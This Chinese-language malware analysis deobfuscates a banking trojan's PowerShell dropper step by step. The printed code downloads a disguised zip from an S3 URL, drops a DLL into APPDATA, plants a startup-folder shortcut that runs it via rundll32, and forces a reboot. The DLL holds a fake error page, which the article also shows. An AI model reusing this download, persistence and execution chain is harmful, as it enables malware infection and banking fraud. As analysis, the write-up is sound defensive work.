function ____/\__/===\_/=\/ { try { ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9 ${_/\/\_/\/\_/=\/\/} = "" For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM') nomeRandomico_getrandom = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1) ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico } return ${_/\/\_/\/\_/=\/\/} } finally{} }
起初,我们可以观察到其中存在for循环。在for循环中,变量/==\/\___/\_/\/==通常命名为i,我们可以将其重命名。循环迭代的次数等于___/\_/=\_/=\_/\/的值,该变量设置为从1到9之间的随机值,并定义了for循环的长度,因此它可以重命名为length。最后一个变量_/\/\_/\/\_/=\/\/是返回值,可以重命名为returnValue。
查看重构后的代码,我们可以清晰地看出该函数的目的。
try { ${length} = Get-Random -Minimum 1 -Maximum 9 ${returnValue} = "" For (${i}=0; ${i} -le ${length}; ${i}++) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM') nomeRandomico_getrandom = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1) ${returnValue} = ${returnValue}+caractereRandomico } return ${returnValue} } finally{}
从字符集qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM中,将会随机复制字符1-9次,然后连接后的字符串作为输出结果,作为一个伪随机的字符串。函数____/\__/===\_/=\/可以重命名为getRandomString。
下一个函数更长,但它从一开始就提供了我们想要的关键信息,因为它使用了Dot Net系统的一部分,其中的字符串没有被混淆。代码如下。
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/}) { ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) ${/=\/===\_/\/\_/\_}.set_Timeout(15000) ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} while (${_/===\_/=\/\/===\} -gt 0) { ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} } ${__/====\__/\/\__/}.Flush() ${__/====\__/\/\__/}.Close() ${__/====\__/\/\__/}.Dispose() ${_/===\/=\_/=\___/}.Dispose() return "Y" }
函数的第一个参数___/\/\_/\_/=\__/\在第一行中被使用,其中调用了System.Uri类。给定的输入时一个URL,因此可以重命名为url。需要注意的是,Uri对象(/=\_/\/====\/\_/\)也可以照此进行重命名。
在下面的代码中,变量/=\/===\_/\/\_/\_用于创建System.Net.HttpWebRequest对象,因此可以将该变量重命名为httpWebRequest。
下面两行中,请求的响应被保存在变量/=\/====\__/==\__中。因此,该变量可以重命名为httpResponse。函数get_ContentLength返回responseContentLength(原名称:/=\_/==\__/\__/\_),GetResponseStream函数返回responseStream(原名称:_/===\/=\_/=\___/)。
Dot Net System.IO.FileStream可以在原始名称__/====\__/\/\__/下找到,因此我们可以将其名称更换为可读性更强的fileStream。
下面的循环使用Dot Net FileStream Write函数将数据写入磁盘中。重构后的代码如下。
function downloadFileAndWriteToFile(${url}, ${argumentList}) { ${uri} = New-Object $('System.Uri') $ExecutionContext.InvokeCommand.ExpandString($S{url}) ${httpWebRequest} = [System.Net.HttpWebRequest]::Create(${uri}) ${httpWebRequest}.set_Timeout(15000) ${httpResponse} = ${httpWebRequest}.GetResponse() ${responseContentLength} = [System.Math]::Floor(${httpResponse}.get_ContentLength()/1024) ${responseStream} = ${httpResponse}.GetResponseStream() ${fileStream} = New-Object -TypeName System.IO.FileStream -ArgumentList ${argumentList}, Create ${arrayToWrite} = new-object byte[] 10KB ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) ${counter} = ${sizeToWrite} while (${sizeToWrite} -gt 0) { ${fileStream}.Write(${arrayToWrite}, 0, ${sizeToWrite}) #byte[] array, int offset, int count ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) ${counter} = ${counter} + ${sizeToWrite} } ${fileStream}.Flush() ${fileStream}.Close() ${fileStream}.Dispose() ${responseStream}.Dispose() return "Y" }
下一个函数中的变量数量较少,方便我们更容易地重构代码。
function _____/==\_/=\_/=== { Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_}); try{ ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell' ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}') ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32') ${/=\/=\/\/=\_/=\__}.WindowStyle = 7 ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1') ${/=\/=\/\/=\_/=\__}.Save() }finally{} }
在函数的第一行中,实例化了一个WScript.Shell对象。因此,变量_/\/=\/\/===\/\/\可以重命名为wscriptShellObject。在第二行中,使用了两个变量,这两个变量都可以根据函数中的信息进行重命名。变量_/=====\/==\/\___/是快捷方式的targetLocation,因为它作为参数传递。快捷方式对象被CreateShortcut方法返回,使得CreateShortcut等价于快捷方式。
变量___/\/\_/\_/=\__/\等价于快捷方式的参数。重构后的代码如下。
function createShortcut { Param([string]${targetLocation},[string]${unusedCommand}); try{ ${wscriptShellObject} = New-Object -ComObject WScript.Shell ${shortcut} = ${wscriptShellObject}.CreateShortcut(${targetLocation}) ${shortcut}.TargetPath = 'powershell' ${shortcut}.Arguments = $ExecutionContext.InvokeCommand.ExpandString($S{arguments}) ${shortcut}.WorkingDirectory = $('%SystemRoot%\System32') ${shortcut}.WindowStyle = 7 ${shortcut}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1') ${shortcut}.Save() }finally{} }
系统会根据提供的目标位置创建新的快捷方式。该图表示位于iexplorer.exe二进制文件中的第二个图标(第一个索引)。在这里,使用了窗口样式7,表示最小化窗口,并将下一个窗口聚焦在屏幕上。该快捷方式将在%StystemRoot%\System32目录中与提供的参数一起执行PowerShell。
脚本中的最后一个函数如下所示。
function _/=\/\_/\/===\_/== { try { ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444')) return ${_/======\_/\/=\/\}.WaitOne() }finally{} }
Dot Net类System.Threading.Mutex用于这一函数中,因此可以将_/======\_/\/=\/\进行重构。互斥锁用于确保每次只运行一个实例。重构后的代码如下。
function mutexCheck { try { ${threadingMutex} = New-Object System.Threading.Mutex($false, $('444444444444')) return ${threadingMutex}.WaitOne() }finally{} }
3.3 组合
现在,所有函数都将被重构,需要分析执行的代码,因为它显示调用函数的顺序,并赋值函数的参数。代码如下。
${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png') _.dll = $('_.dll') _.prx = $('_.prx') MaxNotify = $('MaxNotify') if (vmCheck -eq "N") { if (mutexCheck) { stop-process -name wmplayer ${___/\/===\____/\/} = ${env:APPDATA}+"\" ${/=\______/=\/==\/} = getRandomString ${/===\/=\/\_/=\/==} = $('.txt') ${_/=\/===\/\___/\_} = $('.vbs') ${/=\/==\__/\_/\__/} = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==} ${/=\__/=\___/===\_} = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} sleep -s 1 ${/===\/\_/====\/=\} = $false while(${/===\/\_/====\/=\} -ne $true) { downloadFileAndWriteToFile ${amazonUrl} ${/=\/==\__/\_/\__/}; sleep -s 1 if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb) { ${/===\/\_/====\/=\} = $true ${_/=\_/==\/=\__/\_} = "Y" } else { ${_/=\_/==\/=\__/\_} = "N" } Write-Host ${/===\/\_/====\/=\} } ${_/=\_/==\/=\__/\_} = "Y" if (${_/=\_/==\/=\__/\_} -eq "Y") { ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip') ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}'); ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==}) foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) { ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/}) } sleep -s 3 ${_/\_/=\_/=\_/\___} = getRandomString ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx') ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll') ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}'); ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}'); sleep -s 3 cd $env:APPDATA ; shellObjeto = New-Object -Com WScript.Shell ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup'); del ${_/=\/\/\/=\__/\/=}\*.vbs del ${_/=\/\/\/=\__/\/=}\*.lnk ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}') ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk') createShortcut ${___/=\/==\/\_____} ${/=\______/\_/\_/=} sleep -s 40 Restart-Computer -Force } } }
首先,执行vmCheck函数。仅当结果为非(N)时,才会继续执行。然后,调用mutexcheck函数,以确保没有其他实例运行使用相同的互斥锁(数字4的12倍)。如果存在名为wmplayer的进程,则会终止该进程。之后,设置多个变量并将其用于创建其他变量。第一部分的代码如下。
${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png') _.dll = $('_.dll') _.prx = $('_.prx') MaxNotify = $('MaxNotify') if (vmCheck -eq "N") { if (mutexCheck) { stop-process -name wmplayer ${AppData} = ${env:APPDATA}+"\" ${getRandomStringResult} = getRandomString ${DotTxt} = $('.txt') ${DotVbs} = $('.vbs') ${AppDataTxtFileLocation} = ${AppData}+${getRandomStringResult}+${DotTxt} ${AppDataVbsFileLocation} = ${AppData}+${getRandomStringResult}+${DotVbs} sleep -s 1
然后,下载文件,并将其保存为本机APPDATA文件夹中的文本文件,如下所示。
${isDownloadSucceeded} = $false while(${isDownloadSucceeded} -ne $true) { downloadFileAndWriteToFile ${amazonUrl} ${AppDataTxtFileLocation}; sleep -s 1 if ((gi ${AppDataTxtFileLocation}).length -gt 2048kb) { ${isDownloadSucceeded} = $true ${isDownloadSucceededString} = "Y" } else { ${isDownloadSucceededString} = "N" } Write-Host ${isDownloadSucceeded} } ${isDownloadSucceededString} = "Y"
下载完成后,将会重命名并提取压缩文件夹。
if (${isDownloadSucceededString} -eq "Y") { ${ZipFilePath} = ${AppData}+${getRandomStringResult} +$('.zip') ren -Path $ExecutionContext.InvokeCommand.ExpandString(${AppDataTxtFileLocation}) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString(${ZipFilePath}); ${shellApplication} = New-Object -ComObject shell.application ${ZipFile} = ${shellApplication}.NameSpace(${ZipFilePath}) foreach (${file} in ${ZipFile}.items()) { ${shellApplication}.Namespace(${AppData}).CopyHere(${file}) } sleep -s 3
在下面的代码中,仍有多个字符串被混淆,但似乎脚本并没有完全写好,因为变量只是被使用,但从来没有进行过实例化。下载的文件会在整个脚本中被重新命名多次,然后会被放在计算机的启动文件夹中。这就是这一样本所使用的持久化技术。
之后,通过rundll32.exe调用DLL。在强制重启主机之前,使用sleep函数等待40秒。然后,先前部署的持久化机制可以使恶意软件在计算机上始终保持为活动状态。
${getRandomStringResult2} = getRandomString ${prxFileName} = ${getRandomStringResult2} + $('.prx') ${getRandomStringResult2} = ${getRandomStringResult2} +$('.dll') ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\/\_/\_/=\/====}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${getRandomStringResult2}); ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\____/=\/\_/===}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${prxFileName}); sleep -s 3 cd $env:APPDATA ; shellObjeto = New-Object -Com WScript.Shell ${startupFolder} = shellObjeto.SpecialFolders.Item('startup'); del ${startupFolder}\*.vbs del ${startupFolder}\*.lnk ${startCommand} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${getRandomStringResult2}, ${___/=\/\/\_____/=}') ${shortcutTargetLocation} = $ExecutionContext.InvokeCommand.ExpandString(${startupFolder}\${prxFileName}.lnk) createShortcut ${shortcutTargetLocation} ${startCommand} sleep -s 40 Restart-Computer -Force } } }
四、第三阶段:分析恶意手法
恶意软件针对银行开展的恶意活动在本文中没有具体体现,因为它超出了本文的范围。这里是一个简短的摘要和报告,在其中提供了有关这一阶段的更多详细信息。
库(DLL)、gzip压缩文件夹(prx)和可执行文件(EXE)这三个下载的文件被结合使用,在受害者的计算机上执行恶意活动。可执行文件似乎是一个合法的NVIDIA可执行文件,被攻击者滥用。我们提出了一个有根据的猜测,NVIDIA可执行文件还会加载恶意Payload。在我们进行更深入的研究过程中,看到了由Cybereason撰写的一份报告,证明了我们的这一推测。
该库在第二阶段PowerShell脚本中执行,很可能是放置在系统上的恶意软件的第一部分。该组件可能会执行存在漏洞的NVIDIA应用程序,因为它并不是在PowerShell脚本中实现的。
使用binwalk –e /path/to/file可以提取数据。这一DLL中包含许多伪造的HTML页面,其中包含图像。这些页面用于在银行恶意软件执行过程中向用户显示特定提示。下面是其中的一个示例。
<HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=iso-8859-1"> <META HTTP-EQUIV="Expires" CONTENT="-1"> <META HTTP-EQUIV="pragma" CONTENT="no-cache"> <META HTTP-EQUIV="cache-control" content="no-cache"> <TITLE>{%APPNAME%} Error</TITLE> </HEAD> <BODY> <P> <TABLE BORDER="0" WIDTH="100%" CELLPADING=6> <TR HEIGHT=141> <TD WIDTH=50%> <IMG SRC="{%ATOZEDLOGO%}"> </TD> <TD WIDTH=50%> <IMG SRC="{%INTRAWEBLOGO%}"> </TD> </TR> <TR> <TD COLSPAN=2> <DIV STYLE="border:1px solid;"> <BR><BR> <FONT SIZE="4"> An unhandled application error has occured within <b>{%APPNAME%}</b>. </FONT> <BR><BR> <BR><BR> {%EXCEPTIONSPECIFIC%} <BR> In order to restart the application, please click the link below: <BR><BR> <a href="{%APPADDRESS%}$/start">Click here to restart <b>{%APPNAME%}</b></a>. <BR><BR> Please note that depending on the actual exception that occured, restarting the application might not be possible. If this is the case, please report the error message to the administrator. <BR><BR> </DIV> </TD> </TR> <TR> <TD COLSPAN=2"> <DIV STYLE="border:1px solid; background: yellow"> Error message raised by the application: <b> <FONT COLOR="RED"> {%CONTENT%} </FONT> </b> </DIV> </TD> </TR> </TABLE> </BODY> </HTML>